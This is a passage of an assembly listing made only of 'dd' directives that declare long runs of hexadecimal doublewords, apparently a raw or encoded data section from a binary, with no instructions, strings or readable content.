0D427ACh dd 588CEA50h, 367A33EBh, 38356C00h, 37667570h, 6EC50077h dd 14E5F785h, 86ECB72Eh, 2FA8D00h, 9A2F2D3Ah, 0DDBC07EEh dd 70C20734h, 9564BD35h, 92A4B239h, 4C1C87Ah, 92D5E9B9h dd 2AB0D9B4h, 1100AB04h, 0E5E4C7E9h, 0D53E034Eh, 0EECAACCDh dd 60929500h, 3F840E0Ch, 0C7079785h, 8711E661h, 0FF1C4063h dd 5900D0E7h, 8E97FEC6h, 39929D03h, 0D381875Bh, 0E0FBCB5Dh dd 0E4FAC0F8h, 86275300h, 80C5259Bh, 0C7FC00EFh, 8DADE5FBh dd 0FB90FD94h, 489A8C00h, 0F3CF60A3h, 0C170AFD3h, 2081B67Bh dd 2D3C98D0h, 402C006Eh, 0DE487DD1h, 0C98D18FCh, 0AB772847h dd 9775E904h, 0D15D703Eh, 0C73D117Fh, 271DFB21h, 11F942E2h dd 0DF21CE9Bh, 907A0708h, 28ED8A9Dh, 84B48308h, 878B23Dh dd 0ADD742A1h, 0EEA60721h, 29D67903h, 19118542h, 40B21ACh dd 479DCCCh, 3B447C49h, 472F4872h, 2D90D889h, 2831818Fh dd 0EA325053h, 82F129D4h, 25AA843Ch, 0A1140417h, 0B81548D6h dd 4BC96900h, 0EA1DED17h, 3C828B00h, 0A9A4AA09h, 0CFF700ABh dd 9CA8D442h, 7D00AF1Eh, 0A34FB793h, 7159B5h, 0EF7D03Dh dd 8D73F155h, 6B260807h, 16505815h, 0A9D06h, 0F790819Ah dd 6A2BCFE4h, 1E00BAEEh, 0A35A2C92h, 8AD048h, 1490EE0Dh dd 60FAF858h, 0F343Eh, 8D2627DBh, 0AEEABBh, 5C40DF42h dd 57B03B30h, 6E67E600h, 69B455C5h, 0B3DA8021h, 415D5B01h dd 67E4901Ah, 562A1980h, 8E76BAB8h, 0DE1DE701h, 0D5241902h dd 0EAEF59D8h, 0F4C20044h, 2803F6AAh, 81004984h, 0B07619D6h dd 7F6A5358h, 6CF90B47h, 6C20796Bh, 4F40FBADh, 67ECB601h dd 5F81743Dh, 184CAD8h, 3A3C4DBDh, 0C8910355h, 400C6C2Ah dd 0E8975CCBh, 7AF83966h, 9DFF5087h, 5369C0D5h, 0CA01C10Dh dd 0AC6D90CDh, 0F3E475EAh, 5264B298h, 0D43FA850h, 76B8B80h dd 8D3D2F30h, 0BE49C100h, 0D1B452Bh, 0CDF0A1h, 0D54377ACh dd 0E2AD2294h, 0F937EA0Eh, 3F9AA062h, 0C65AC5h, 4EE8993Dh dd 0E9F6E49Eh, 0A60047Eh, 2FD6540h, 2B23008Dh, 0C9C7AA78h dd 6E3BC814h, 622C8074h, 0C5DAB244h, 0EFB8C09Dh, 0F3E6D749h dd 6C5E4200h, 13839ECh, 2AAC009Bh, 0AAABDA2Fh, 0F93C6AD3h dd 0BA838091h, 6DF5A454h, 0A81B4A52h, 0D22C070Bh, 0D3F0CB2Bh dd 0FA70C3h, 0B3DDD0BEh, 0C8EECA0Fh, 4E5052E8h, 0F01F7A88h dd 0A240862Bh, 0B732A1AFh, 0D1C13D4Ch, 0EEDF8B8Eh, 0D2FF8D00h dd 0CA009E33h, 6AB9E7C4h, 0DB4C9Ah, 0F9A684D8h, 24815B45h dd 7BDFD40Eh, 0EBAE02Ah, 0FBC65Eh, 64389471h, 0C2D7B20Fh dd 2BEFD607h, 81BEF3ACh, 0FFCFCEA4h, 17BF0C4h, 7AE90436h dd 203F1064h, 0AA1FA554h, 3E98528Ch, 1E885B10h, 5F3359FEh dd 0D7D75E14h, 0EA850572h, 0EC00D0B1h, 0C6005192h, 0D32DE83Bh dd 0FEE5A93Eh, 18A300BEh, 0B6D24060h, 0A63CC355h, 1E70001Fh dd 0AD906EB3h, 95BD0053h, 8CCAF113h, 380A2935h, 0E8143A2Ch dd 20897E00h, 60A95509h, 47F290B6h, 0FF062587h, 8D3F766Bh dd 192F0536h, 0C05A22E3h, 0F07C3D6Bh, 0EF27A41Fh, 181B1100h dd 0F8C68020h, 0E2EA54h, 85BEED1Ch, 0E30D39D7h, 0D9895800h dd 9646EA0h, 55E1023Eh, 8544D03Fh, 7B5A6440h, 0F9D24300h dd 0CCF75708h, 16760732h, 6123556Ch, 0D839EED9h, 84008D6Dh dd 0AD0C1399h, 0D745A6h, 0C1527C50h, 6CEAFA72h, 6EA85900h dd 30BA098Bh, 15FC0064h, 26958DB1h, 21D2F98h, 220058DEh dd 67FB9E9Bh, 1DB700DCh dd 2852FDD8h, 0E1121466h, 0A40EFA0Ch, 0A7B4E217h, 25B44072h dd 0A82663FBh, 46F06E88h, 53006DFCh, 8E58A4B0h, 54B5806Ch dd 4FCC4Bh, 1FA87AD7h, 0CB11DCF8h, 0C2C7400h, 0A4214B7Fh dd 7C9852h, 58E97B98h, 295DA2FEh, 4324C601h, 0A177B91Dh dd 0C90C30h, 7F0B5BB8h, 78736308h, 2B49009h, 116480F2h dd 97B46B3h, 58C0EC03h, 0D405BC01h, 0A1183099h, 72086989h dd 0BD00B27Fh, 689385D5h, 612FFBBh, 0A506EE76h, 0C70E4031h dd 9DE859BAh, 2388ADC0h, 0EF7DDFh, 0BD38121Dh, 7387A3A7h dd 8A830F00h, 0B0840BCBh, 779600F1h, 1B9DFAE6h, 0ED03D498h dd 4981458Bh, 937E0007h, 1A331C46h, 0E100CDC9h, 0D324C820h dd 129861FEh, 1D068Bh, 59E0D9B5h, 3A01A623h, 82ABD477h dd 0C8E4AAD3h, 0FF2A18B5h, 4A9A205Ah, 6C03BB0Eh, 9FEEC0D6h dd 71C0BEA7h, 66E100D5h, 2F6B2334h, 800A1946h, 84B79CE7h dd 4BB34200h, 0C18182h, 6AB42E9Fh, 8D54CF3Eh, 0E1622B0Eh dd 550C0326h, 9BF1C8A5h, 1EB5007Ah, 34580F6Dh, 750005DBh dd 66A47252h, 484E3643h, 0DC3E3810h, 409DEA92h, 77ECF1D8h dd 0B2F89FD2h, 9C00B090h, 0F475A468h, 33F5E7h, 0B979653Eh dd 249A924Fh, 19F37605h, 0C4003C2Eh, 0DB455238h, 580B0377h dd 0AB8FB2BCh, 0B4B84800h, 0D0094E9Ch, 5B221D43h, 5E36DDA5h dd 64C54026h, 8AA271D2h, 7FD8C58h, 4340F003h, 585C42F0h dd 75DB0001h, 10DDB91Fh, 0E1009A12h, 0CE92BFE4h, 3DB0EAC9h dd 0A98086A1h, 0F9E287E3h, 0A672C4B3h, 0CB008FEAh, 0C847BCCDh dd 3E6B0F8h, 7529F6Bh, 0DDB81CC2h, 8F0A0570h, 0B8BBB403h dd 136BAA07h, 26B849F1h, 0C623C440h, 45BC0007h, 1E29A2F3h dd 0BD0F4489h, 0E04E551Dh, 0D569FD3Ch, 0ECEC47h, 0ABC2F160h dd 98E99CBAh, 413A3E4Ch, 59A20B8h, 0A0C7B8A8h, 60276200h dd 9574D63Dh, 24D91FDDh, 9C4A8E17h, 8EDE340h, 0E03894Ch dd 0AADDEC2Bh, 0FFD590FCh, 0C5EF26EAh, 0B71060F0h, 0C27FBAD2h dd 0CF247807h, 0DFB017F3h, 41FCC7h, 360C13Fh, 9E13405Ch dd 4ABD7B1Dh, 5F85EDC0h, 33FFBEh, 3591612Fh, 8B37E70Dh dd 7960CD00h, 0A39C6C50h, 6E6400BDh, 661D77D4h, 5D3E1C1Fh dd 0EC9DA4B0h, 605F6200h, 192FBh, 0A1E4B808h, 77C932F7h dd 0F47B2900h, 42B35213h, 0AE430151h, 0A9719ACCh, 7978947Dh dd 19F72698h, 403FCE00h, 2491DEh, 7590153h, 6213A112h dd 786C7303h, 0D03C3525h, 0EC262305h, 0AC7600D9h, 0A80CC2CFh dd 0F7009399h, 0C6EC324Dh, 79ED6855h, 2F5D0041h, 63B69091h dd 0D400C375h, 1F2280BAh, 3B426915h, 0DB163BDAh, 46400CCh dd 0FBA88D1Ah, 4EC0D100h, 6EE0F68Eh, 0AC2849AEh, 2F263300h dd 0E322A0AFh, 0CB478600h, 1166A703h, 844603A5h, 0A469C10Bh dd 3A1DF1E8h, 58156E00h, 74689A5Ch, 4BC9AF5h, 0E05D1E85h dd 64B0C053h, 7A3B3717h, 0AB1061BFh, 2885A0E1h, 802E893Fh dd 7CAD6E84h, 502C4158h, 28736A20h, 0D8364A01h, 0A91E7724h dd 431420h, 692CE8CDh, 3CCF8B6Dh, 8DC8903h, 0C0455FB5h dd 0D05B64h, 0F044180Ah, 0A31AB217h, 4583403h, 0D8F752AFh dd 489C363Fh, 0C008204Dh, 990BBC63h, 0D90820EBh, 75D1C4D0h dd 0EC880909h, 8002254h, 7CFA8FB5h, 99E60800h, 64F05CF6h dd 25B090B9h, 0C0005BBAh, 2CD7B668h, 1A41259h, 39150335h dd 0CDD819CEh, 76E4002Dh, 9992E16Fh, 0B3390225h, 52A1005Ch dd 3ECC4ADBh, 2BC71288h, 0C4B0011Ah, 60B10A5Dh, 0B0A80648h dd 6876DA58h, 5711A46Bh, 0C8DDF780h, 1500C05Ah, 0DFEC519Fh dd 0C35DB9h, 797E91E9h, 5554E098h, 0F0331000h, 651953D6h dd 0A9D5007Bh, 984240AEh, 4413C2ADh, 84C00C59h, 0A8B356BCh dd 18A05C8Ch, 11160620h, 0FF11C17Ah, 5500B4E6h, 1875E72Fh dd 0B701268Dh, 0FE66D763h, 4020C19Bh, 4F403E4Ah, 6F78FB00h dd 375111DAh, 68806A01h, 5E894502h, 29ECD180h, 103F0ADEh dd 0BE0CE214h, 370D00C0h, 2A9A6E52h, 153100C4h, 0E6497D1Bh dd 3D006304h, 0D8A4585h, 188B18D2h, 98DAB29Fh, 590113A0h dd 0F11C2741h, 79C809CCh, 0D67D0082h, 0B99C04Eh, 0F81EF30Ch dd 0C2CEFBD4h, 9456E72Eh, 0F9123F80h, 11B71DDFh, 8B20080h dd 0E58439EFh, 0E43CFB00h, 0BDF47116h, 2DDC0033h, 4BEDBF44h dd 1B2EF398h, 4D004D0Eh, 7C7DB1E3h, 0ADC100FFh, 1FBEC224h dd 8901EEC8h, 0DDD23582h, 0AC2CE08Ch, 470B0E04h, 347940A6h dd 461497h, 93AC8FAAh, 0B24C88A5h, 6D715300h, 0B859E869h dd 0C7AE01CFh, 0C112EED1h, 0DC94DDB1h, 0BA00F401h, 5BBB8CA5h dd 265A21h, 0D5C7A905h, 1AE7095Dh, 0A5387100h, 2F31B9ADh dd 0A75300EEh, 817FA974h, 6500C915h, 0AB02E1C4h, 0A12859h dd 0AC387089h, 51727D84h, 3B2C7C00h, 556B17DCh, 0F12D3814h dd 9FA7C100h, 31A8F6Ah, 0ABE7A0Fh, 0D691E3AAh, 0E645D806h dd 465005Bh, 710F58A8h, 211CE9FCh, 1DC0A697h, 7585B963h dd 37E30026h, 54B7810Bh, 9B39063Fh, 0ACAF00F7h, 41826397h dd 96C03965h, 60FD4980h, 0AA645031h, 5C04911Eh, 84F86D80h dd 73F89EDh, 747B7E25h, 707C60C7h, 46745C11h, 509B1900h dd 0EF684CDBh, 0D4800313h, 0A27106Ah, 0F08D2800h, 0CFA1DC1Bh dd 0B8265129h, 585898D4h, 0A348006Eh, 2C11BD00h, 4597E0DCh dd 95DD9900h, 0DF4164B3h, 5371C3F5h, 6BA0293Ah, 0C50CA1A2h dd 0C006D1B0h, 522700C7h, 39333F57h, 2F007AF8h, 0D54C72DCh dd 0C0E69437h, 0E88A3B29h, 5F0395FAh, 5DFFAE66h, 1619D8A5h dd 0C093EA8Fh, 0F5AF5268h, 4302D8BCh, 8D0F83F9h, 0F49460C7h dd 95461239h, 0BBF040AEh, 0FC1BEA29h, 77D3158h, 0E2DC8C23h dd 173B0140h, 8EC83D8Ah, 2BEE7A80h, 0CBA1D43h, 0B3F2B500h dd 45A028ACh, 0E56412DAh, 65C91E91h, 0D1A87400h, 260020D3h dd 185E5A9Bh, 0BCFBDh, 28FDF7B7h, 0E1C92234h, 0F49B8700h dd 0FFC70ECCh, 0D31B0E98h, 6D80E558h, 0AF99475Dh, 1A33A41Eh dd 47B216CEh, 0A99079CEh, 0F7D431h, 567763CFh, 0EF3BEAF2h dd 4C601F01h, 76471E87h, 2026BF0h, 264549D9h, 70600474h dd 0C088150Dh, 9887002Fh, 4EFF2951h, 3100C3D3h, 0ABA7E986h dd 61FADh, 0D68FDC58h, 0F3AF18CFh, 16C19200h, 2F12E37Ch dd 10D7850h, 0CB813890h, 0E675F586h, 451D0DC0h, 0C7068F00h dd 0CF1A97BFh, 291B29F2h, 336A0F90h, 74CC8280h, 0D0971489h dd 90DB000Ah, 0BA36D898h, 800081D5h, 0AB1E744Fh, 740175EAh dd 6C4200A6h, 8CBD073Eh, 1703AFF7h, 76FC2287h, 0C6CAD8B0h dd 0C7B8A067h, 0D0EA3Dh, 66B36B62h, 35ADBF75h, 0CBBB871Eh dd 16DD26C0h, 12BC289h, 98B68C2Ah, 0FCCCCD6Fh, 8700B230h dd 27090E91h, 0A138F1h, 8D696741h, 0B3BF103Ch, 87A2B203h dd 0B77315DEh, 2480B9B7h, 14454Ch, 8EB41A6Ah, 0C7C56FD3h dd 16AD9344h, 0C0BE543Bh, 6EF7D73Ch, 0C3DB9500h, 0D2A93A7h dd 483702F3h, 924A41Eh, 0D5AD4640h, 3979333Fh, 52E400BDh dd 0A11F8B44h, 0F96A00BCh, 0A416E8A3h, 1A2ED371h, 48005266h dd 65102A4Fh, 18B709EBh, 5C4008A3h, 2F393039h, 773B8114h dd 0D5A91345h, 280E0C20h, 0D0B240h, 0FA73FD9Fh, 3F299622h dd 0C3394CB2h, 8E1F8F5Ah, 3DCC405Ch, 1B4E0Fh, 8E374F8h dd 9FC27671h, 296F8500h, 2B5C567Eh, 9A540115h, 0FD8CB746h dd 3E845110h, 0B192C86Ah dd 41050B98h, 0E5CCD15Dh, 1714A0h, 0BD4F382Ah, 2E19D73Fh dd 0A3CA7400h, 553A2F8Eh, 731EA6Dh, 0BB08E587h, 5DE7D0D8h dd 7400E166h, 0E92117A6h, 4F90AF7Ch, 41EC8006h, 2F58EFD1h dd 84AE0C66h, 0C0F8680Eh, 2726E460h, 8E0E692Eh, 2001FC07h dd 0B1D8E7DCh, 744C00D9h, 754F1261h, 0E803B225h, 372F512Bh dd 0BB19621h, 55FEB378h, 0E52B800h, 0BD3A6BD8h, 94118B97h dd 53048114h, 0FC52B8C2h, 21B0A083h, 0B4373Ah, 0B98ABF9h dd 758ED7E9h, 69E1B904h, 0E88067CAh, 7DC3A5CDh, 7CEA0048h dd 4E56124h, 0A1174602h, 0B000BBE1h, 331FF42Fh, 8C2E003Ah dd 0FA4FCDC9h, 37004DF1h, 54351299h, 275ABBA8h, 0EC878FD5h dd 809C35D6h, 181689ACh, 0EF234017h, 0EAE6B000h, 42F666Fh dd 4B152D0h, 36EDC07Eh, 3900F2DEh, 0EFD6E922h, 0E4A7228h dd 41EBD50Dh, 294BA6Ah, 4E29549h, 0FEEF3440h, 0DF075BFCh dd 2D76995Fh, 0ED3FAA03h, 8C005456h, 0DBB1F082h, 0A47D0061h dd 30D2E9D4h, 51000813h, 2071A26Dh, 2B49BDCh, 726BE1DEh dd 0F87B958Dh, 8BC18700h, 2062Bh, 1BB1AC78h, 6BDB7B71h dd 60528A00h, 0CCBEA18Dh, 9909008Eh, 8CC7C636h, 0A00C5BAh dd 26B40E48h, 3CD68375h, 7638CCh, 580F7CDFh, 2B08EF62h dd 4E530224h, 0DA718B07h, 0E5BEF7E0h, 18D9006Ah, 1BD6F26Eh dd 5001772h, 0E964748Dh, 0FC510B2h, 0E74BD3A1h, 0D8C08009h dd 0D031ED6h, 163A9DCh, 83B6E36Bh, 0AAE80028h, 0FAFE2495h dd 77000EF4h, 6705E569h, 74D04D02h, 1B37331h, 0A2DE75CCh dd 7018C69Dh, 361E4C65h, 7C03E9EEh, 8855EA31h, 76E160h dd 0BD7AF07Bh, 40D79D51h, 0FF6F480Ah, 9900A406h, 2F4A9F60h dd 0A3E680h, 2E8BC990h, 754345FEh, 650068EEh, 7FEEDB0Dh dd 3CA66732h, 710386DEh, 3646E9EDh, 0A6B8DA8h, 0E41DEEB0h dd 0B480F59Ch, 0CCBCE623h, 24BE0047h, 9205621Ch, 6D7AA311h dd 3B94B201h, 9E85543Dh, 0A69D70h, 0AB6C2DBh, 395B186h dd 4D006A77h, 67970E87h, 1C8327D2h, 80E00D18h, 4F293507h dd 0B9004AFEh, 8C36761Eh, 5C22B3h, 8654F5A5h, 0C28FA3E2h dd 0A44EF83Eh, 79E0DCF9h, 7E5CB8h, 15F86F5Ah, 0E00F1EADh dd 5237AF01h, 72C26695h, 1FB01C64h, 843A1340h, 91E02468h dd 20A9A570h, 811D316Dh, 64127E6h, 9736DCF4h, 0F051F442h dd 0A7470088h, 0A210B14Bh, 0BC00EEF6h, 3233AED0h, 19EFA8Eh dd 1D125F79h, 2CA874D8h, 3AAEA078h, 0DC92DCh, 39F5BE1Eh dd 0E3540E8Dh, 0A327ED03h, 1B8A20Bh, 0AB032CD9h, 0C284B12Dh dd 0B33F4C68h, 0BCC949h, 0FA62CCCEh, 633C56E8h, 3BCA2023h dd 75EDACC8h, 0A0578725h, 71A6A07Ch, 10F69Bh, 1853936Ah dd 499AB5C9h, 2997CD00h, 38EFCFFCh, 0E53000AAh, 7E77B65Bh dd 40C0F34Fh, 3978CED1h, 0F95400AFh, 0CD8951D9h, 920E6BF5h dd 3E52DD2h, 95C7F62Fh, 5EA514C7h, 0E88080C5h, 35FFF2Ah dd 0FCBD84E2h, 0DD88C745h, 0B40B5B63h, 0A0499CD5h, 25463F64h dd 0A6730A64h, 809CFE75h, 1D8B7A7Dh, 5F5CF8ABh, 5D620354h dd 0F319BC1Bh, 684A98CFh, 917200CEh, 0EC92783Dh, 14FA6553h dd 0C79AE807h, 0FC901757h, 0B9E1F1h, 0EC440512h, 7ABA807Dh dd 14D4D600h, 0E18F85A4h, 796D00B6h, 0F52C8782h, 1F07EAA7h dd 0E891CA3Ch, 0C02BF7E2h, 0F604A44h, 0D21EEE7Bh, 0E70280FFh dd 5BAC315Ch, 0FED6DB00h, 0A26FFAB0h, 7AA90083h, 1AC917D4h dd 0EB00BC6Ah, 0ED68B08h, 0F12BB5h, 0CAAF4435h, 7EBA5BDFh dd 0F6365107h, 0E430276Fh, 0F290FBh, 224FE968h, 18EFC460h dd 8B207A07h, 0F1502EADh, 3F566Bh, 0E6A8C9C1h, 0EA4A3A95h dd 2BC04F00h, 0BA522DF6h, 0A9E1009Ah, 0C240FC20h, 0C0981C54h dd 0EC183807h, 0B2800B6Ah, 860365h, 60FC5714h, 0D6F8BF6Ch dd 0E69C9100h, 1851951h, 28470738h, 60B9BB94h, 0D2062AFFh dd 0FBC6081Dh, 0D61E0A04h, 0A87084h, 420D38EBh, 0CA369180h dd 0CC4A13B8h, 6880F487h, 0ED74E32h, 0E63AE00Eh, 0FFC96140h dd 0A900C28Ch, 46E2F0A2h, 0B9BC4B8h, 0DDAB76CDh, 83FE8860h dd 3F3A1000h, 7ACAB34Ah, 9F2600EFh, 0A7EBF5A1h, 9600E97Ch dd 16C3032Fh, 1C8FC7EDh, 7EAB0C29h, 0F7E09080h, 5E544097h dd 6613120Fh, 75C0FDEEh, 27A7ACFCh, 0C9410077h, 3CC0B41Fh dd 33004881h, 65525A99h, 0C79044h, 2DC50F84h, 9DCD127Dh dd 2AE27400h, 0B3A9AFCAh, 0FBE80037h, 0A8810A87h, 730058D5h dd 0F23CE9A7h, 0FE3FF085h, 54AB4960h, 368D1600h, 68A93A52h dd 0DD2D3Fh, 77FDC288h, 2C9A3296h, 9C60Fh, 9076223Fh, 1600C492h dd 44E7A885h, 55250h, 406D7751h, 0DDD7CB60h, 3A045490h dd 6FC49BE2h, 3BFB00C0h, 15DA0063h, 0BB8D44C1h, 0CF037C77h dd 739EB0CCh, 9143E897h, 2272000Ch, 3F8E101Ch, 0D607CD0Fh dd 29A9FAD3h, 0C0F49700h, 1DD500C3h, 0CD469144h, 0F000C112h dd 41D2B147h, 3EF4DC0Ah, 5D0AA23Fh, 2694E830h, 88B40068h dd 0AED85AFCh, 0D653B209h, 6D368276h, 0E5B868A6h, 0B92D009Dh dd 41421084h, 3A00D1C2h, 57F0E66Ch, 0EFD389h, 3D818524h dd 0A62C98DEh, 0CB82D500h, 0B6635C6Dh, 10D16F1h, 0FB270146h dd 30254BF5h, 0DD3F9DD4h, 0DC8780E0h, 26E3EF63h, 1D8007Eh dd 7C401955h, 98EACD03h, 0AB482000h, 7BF045B2h, 52600061h dd 28B07C4Fh, 361431E3h, 0A00713h, 0A01E3339h, 999E9A1h dd 284C58C2h, 0F226EC40h, 0D546BC0Fh, 69E32014h, 8353DEh dd 219CCC08h, 0C1046AB5h, 0D0640902h, 0E3BE9FB3h, 8F53C8C5h dd 7DDF000Bh, 80617A9h, 0EA72077Ah, 80A88450h, 94864828h dd 641A9A00h, 0A24F0D2Ch, 0BFD00228h, 72A74E91h, 0B2D2A4C0h dd 0A16E6426h, 0DA8DB500h, 0A81D1Ah, 2858B710h, 73E36AAFh dd 0BD499B01h, 0A189A4ACh, 8DE830h, 0BE643365h, 928AE8E0h dd 0F2F6ACEAh, 0CC1B9800h, 20EB5BFDh, 0D5FF00BDh, 0D6FBE62Fh dd 8B48BAFAh, 0F95C03F0h, 0B828561Dh, 3DE5D146h, 0D80281AEh dd 0D9DFF438h, 2640F880h, 57769489h, 13A0DC48h, 8C00FC43h dd 34EB6D64h, 0B023A8Fh, 0FBDE07FFh, 0AC7750C2h, 0B14D1DB4h dd 944E0048h, 49F833B0h, 1DB02EEh, 4BD6C858h, 0CD60405Eh dd 2E797E13h, 0C448B9h, 0DCE87B25h, 0E739E3D5h, 5D4D1ED7h dd 359C006Dh, 56C8DB1h, 9B218777h, 746490BFh, 0C47E288Bh dd 7E636A00h, 0A6871F97h, 57701D4Dh, 0D75449B9h, 0E95E8800h dd 0C95F8F80h, 0E49A042h, 448E60FFh, 873F04D9h, 0C0D89709h dd 0FE8A7A82h, 1BFC4C00h, 3712ACB1h, 52EE0039h, 91667D9Bh dd 550017B7h, 0FE463D62h, 74C2A2h, 87C91157h, 0E65CA5ABh dd 3FE42300h, 0B1645954h, 0CDB00082h, 0AA703C7Ch, 6500D480h dd 0F096D025h, 0BE9A7Eh, 902F85BBh, 505435CDh, 0CCDBBA28h dd 0CFE6A475h, 60711803h, 17972FEEh, 80C9CECCh, 48C6D3ECh dd 4281CF00h, 0EBE46183h, 1EC70023h, 242145BDh, 8905E22Bh dd 3D116744h, 0CC0136C4h, 9D8FBAFCh, 94CC70h, 8D9E3265h dd 151DA107h, 7D955800h, 13BC730Bh, 98B045h, 0EAF927E0h dd 0D0E70C93h, 0DD87BB01h, 75C58DF3h, 2F6C30h, 0C70177C2h dd 43C8EE73h, 809E533Dh, 2A275F14h, 0B1BFF90h, 76D57B17h dd 0C002B405h, 8B184046h, 220A6900h, 0DF31608Ah, 0CA1101C0h dd 1BF02B4Fh, 0A6C8F35Fh, 0C27CC7BDh, 2E6BDE48h, 3D00CC6Dh dd 0A22666B8h dd 563F002Bh, 0F20EBE4Bh, 820020A6h, 9846C614h, 2E0F436h dd 7015543h, 4C74915Dh, 0D0003A13h, 6602B22Ah, 2E6812FBh dd 0A47480C6h, 3802B7B0h, 1236CA63h, 7DB4E03Dh, 0C1661CD3h dd 683B8083h, 58097A88h, 0BD173Fh, 38AF20B7h, 0B84CA72Ch dd 0EB6100C0h, 8786D4FCh, 26016FE5h, 4E434035h, 9A20E68Ah dd 2828C0B8h, 31F7078Fh, 46B0C03h, 0E064D049h, 65B5CBh dd 0F1C39C79h, 0E6CE93DBh, 103E1F00h, 305FB28Dh, 0BE5C04A9h dd 903187E2h, 60F6BB04h, 0E1AF2D01h, 0B0DC08D1h, 5EC4802Ah dd 0D67EB76Fh, 0B2B1C03h, 0AFCA26E0h, 46174900h, 0BDF1000Dh dd 89E10169h, 3175D73Dh, 0DB79BB00h, 0C5637044h, 0BE9E0066h dd 628C2D90h, 8898B9BFh, 29398870h, 4BFCh, 0ADE831BDh dd 0BC7BC6h, 6486973Dh, 0F03BB81h, 0A64E4Ch, 0DE89E72Fh dd 0A1AB62h, 0C1567E87h, 573912BAh, 5E731B00h, 6A8A519Ch dd 12ACB6A9h, 47EC00DDh, 729DA63Ah, 206E5A60h, 308A24A0h dd 42A0FCECh, 0A600BB45h, 73919217h, 0C0D6F63Eh, 87DBABA8h dd 0DD2C5C19h, 803F2046h, 9DAA3228h, 0BB05Eh, 0FB2AD058h dd 56750CBFh, 33300F73h, 0F7D860DFh, 31933B6Ch, 0BB0180C8h dd 2C0CD09Ch, 92D4241Ch, 0D42D5700h, 3FC62388h, 0B00F1C9Bh dd 0D6298025h, 0A0708417h, 2CFD10B8h, 0D9020038h, 0D76D8C6Fh dd 0EC1F0334h, 3671BFE8h, 941C7FE8h, 0C4C14B09h, 0FB6C6096h dd 0B441182Eh, 611B4175h, 0A76A9A00h, 62019457h, 0B9AE00ECh dd 79C380F3h, 0CE004076h, 0A8983EF4h, 9F2BF22h, 8C366F3Ch dd 5BFF9880h, 0BD5023FEh, 9D03D3A5h, 0D2F59C6Eh, 0F8D6E377h dd 3299875h, 272CCCF8h, 7800AF82h, 3CB5E2C6h, 0C86A78h dd 0BE4D03EAh, 46D58F5Dh, 7F51D015h, 0AB1501E8h, 2A9B4161h dd 354D3E4h, 7AA3BD4Ch, 3CD8C8C4h, 5500EF9Eh, 5DFF844Ah dd 90875340h, 0D5798Ch, 0D20691F2h, 0AFAE90EBh, 0D918C9h dd 0ABF77B55h, 1E5B0009h, 4453E9B3h, 0F600945Ch, 359786F4h dd 280683E5h, 3AEC410Ch, 93BF300Eh, 6B8B2200h, 0EBB42088h dd 0E92EA376h, 8580688Ah, 6FDBED9Dh, 0C49058C4h, 0BBDF0C00h dd 3DA80DBEh, 0EBAC9E00h, 0B31A1561h, 0DBD800A4h, 9CE98551h dd 9B004FF3h, 743AE5D9h, 3289F34h, 1FBE5477h, 0DEB04ED3h dd 70976615h, 0F6A413C8h, 69002028h, 29E6FD1Dh, 0BEB1BB0Eh dd 7F8B0053h, 0E939ACh, 0FA6F872Fh, 3C960E8Eh, 28A940FBh dd 3F27BD4Ah, 524460E3h, 922D0064h, 572F5D45h, 9C079D78h dd 0DF4DE882h, 23F0A41Bh, 0CBDE9A01h, 11D8242Ah, 92C5A000h dd 0B50C4573h, 0DF600AAh, 8E994355h, 0E0B83465h, 3D8DDF24h dd 3DDE5400h, 27C7C28Ch, 4000CC4Bh, 0B1DFE8B6h, 9B2BB806h dd 0B19302Eh, 0E7058CDAh, 844D44C0h, 0C904CE00h, 9054F41Ch dd 999C78Dh, 0D58AE0F2h, 50004068h, 9CF30FDBh, 333A349Fh dd 7E51E462h, 6CD6E1F9h, 0C27D1770h, 0CF830800h, 98A75C3h dd 0FD930152h, 1D8EEC00h, 0D93ACD2Ch, 95369FC0h, 52030D6Ch dd 0E0B1A877h, 0E019E255h, 5C4EA23h, 0F92E4AE6h, 3DDCB008h dd 3922850Ah, 7B008048h, 0A9E656D1h, 68435020h, 4E362A40h dd 0BA9100A4h, 14DF2D45h, 22016FB2h, 378A47C0h, 4DFCB18Ch dd 0C04854D1h, 0C2D300CFh, 95E30BA2h, 0E1D2F170h, 30B92E10h dd 0B1C5114Ah, 7F4CB2DCh, 0EDA500C7h, 0CF7AD519h, 85007839h dd 81D60E6Ah, 2643653h, 3A9704BAh, 0C40063Ch, 0EF7C58C6h dd 0B8D2D70Ch, 104822h, 14123398h, 0DE55E638h, 940BC04Fh dd 60AA001Fh, 48D2896Eh, 5F075059h, 0C64F6822h, 0E100102Dh dd 3B9C63E8h, 30A60FD3h, 10182E8Ch, 4A027672h, 84B631B5h dd 0FDA0604Eh, 90AD402Ch, 0B8870C5Eh, 81868B80h, 555B0C52h dd 0D84006E6h, 83432E38h, 23F00A63h, 7665E2CDh, 0C48B0034h dd 45FF164Eh, 6141D300h, 98E27B96h, 464763Dh, 382AD85Bh dd 25F4C0CCh, 70F8F6CEh, 1C20F000h, 85E3935h, 7519E84Ah dd 46AC01AFh, 0DF14C23Eh, 0AB2FD0D4h, 9D1CEC00h, 0C8F2124Ah dd 89ED0782h, 0B73E0D99h, 0B85130FDh, 0A4189E16h, 6BB01209h dd 824C04B7h, 87FEA739h, 4AE44389h, 305C37B8h, 7F00607Ah dd 580E1A04h, 13C33DBh, 0A26DE841h, 0ED060AA7h, 6188C03Eh dd 0F5479D0Bh, 76848023h, 979B44h, 0E4F358FAh, 66F9E237h dd 3E007E7Ch, 0F4E6A989h, 125A0ADAh, 0A04B97D9h, 6A1D0434h dd 0D1809830h, 7EDB2EEFh, 0D63E00EAh, 0D80B428Fh, 15008636h dd 0C8EF184Bh, 0E33952Bh, 1693B12Fh, 4F191060h, 5C243165h dd 1D824092h, 70599h, 35FD0C1Fh, 4034BC27h, 1E7F6C4h, 43A574CDh dd 78EF0Dh, 1DBE0A3h, 11FABD24h, 2F05D32Dh, 0CE0BC2Ch dd 8A6B8FB5h, 6D099D61h, 2BFCF4A1h, 0B200D7FCh, 1E8C54A9h dd 135E271Fh, 69B8582h, 0D0207570h, 0E2873BD9h, 1B007973h dd 0F0BE108Bh, 742F68h, 8A559A8Dh, 410F0524h, 0B57E1E05h dd 84ACC584h, 0D19A4B00h, 135A90C1h, 9FA17800h, 40D317B7h dd 7BF60002h, 9049DD96h, 71CA2E57h, 3A0150D7h, 60FACE83h dd 0F4150160h, 9459C129h, 6D3BD2E5h, 7CB48040h, 0ABE6CAh dd 83FEB801h, 0A908F6A5h, 0AF53F300h, 0F8103245h, 490B00CAh dd 0DFB093FFh, 0A9A021DCh, 2E3BEEA0h, 0D6D3805Dh, 0ED2325BCh dd 0CCD20030h, 